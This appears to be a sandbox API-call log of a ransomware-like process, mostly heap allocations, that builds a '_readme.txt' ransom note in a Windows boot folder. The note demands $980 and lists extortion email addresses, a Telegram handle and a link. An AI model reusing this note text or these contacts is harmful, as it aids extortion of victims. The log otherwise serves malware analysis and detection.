RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.562] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.562] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.562] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.562] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.562] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.562] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.562] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.562] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.562] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.562] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.562] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.562] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.562] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.562] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.562] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.562] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.562] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.562] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.562] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.562] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.562] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.562] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.562] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.562] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.562] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.562] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.562] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.562] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.562] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.562] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.562] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.562] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.562] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.563] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.563] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.563] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.563] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.563] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.563] PathFindFileNameW (pszPath="C:\\Boot\\it-IT\\") returned="it-IT\\" [0124.563] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.563] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0124.563] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.563] PathFindFileNameW (pszPath="") returned="" [0124.563] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.563] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x768b0000 [0124.563] GetProcAddress (hModule=0x768b0000, lpProcName="SHGetFolderPathW") returned 0x76935708 [0124.563] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x800) returned 0x30f90a8 [0124.563] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x30f90a8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.563] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x810) returned 0x30e8ae0 [0124.563] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.564] FreeLibrary (hLibModule=0x768b0000) returned 1 [0124.564] PathAppendW (in: pszPath="C:\\Boot\\it-IT\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\it-IT\\_readme.txt") returned 1 [0124.564] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.564] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.564] PathFileExistsW (pszPath="C:\\Boot\\it-IT\\_readme.txt") returned 0 [0124.565] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x7d00) returned 0x30fa550 [0124.565] lstrcpyW (in: lpString1=0x30fa550, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" [0124.565] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg", lpString2="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" [0124.565] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9bf0 [0124.565] CreateFileW (lpFileName="C:\\Boot\\it-IT\\_readme.txt" (normalized: "c:\\boot\\it-it\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.565] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9bf0 | out: hHeap=0x5c0000) returned 1 [0124.565] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa550 | out: hHeap=0x5c0000) returned 1 [0124.565] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.565] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.565] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0124.565] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.565] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.565] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0124.565] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0124.565] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0124.566] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.566] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.566] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.566] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.566] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.566] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.566] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.566] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.566] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.566] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.566] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.566] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.566] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.566] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.566] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.566] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.566] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.566] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.566] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.566] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.566] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.566] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.566] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.566] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.566] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.566] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.566] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.566] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.566] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.566] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.566] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0124.566] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.567] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.567] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.567] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.567] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.567] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.567] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.567] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.567] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.567] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.567] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.567] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.567] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.567] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.567] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.567] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.567] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.567] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.567] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.567] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.567] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.567] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.567] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.567] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.567] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.567] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.567] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.567] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.567] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.567] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.567] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.567] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.567] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.567] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.568] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.568] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.568] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.568] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.568] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.568] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.568] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.568] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.568] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.568] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.568] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.568] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.568] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.568] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.568] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.568] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.568] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.568] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.568] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.568] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.568] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.568] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.568] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.568] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.568] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.568] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.568] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.568] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.568] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.568] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.568] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.568] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.568] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.568] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.569] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.569] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.569] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.569] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.569] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) 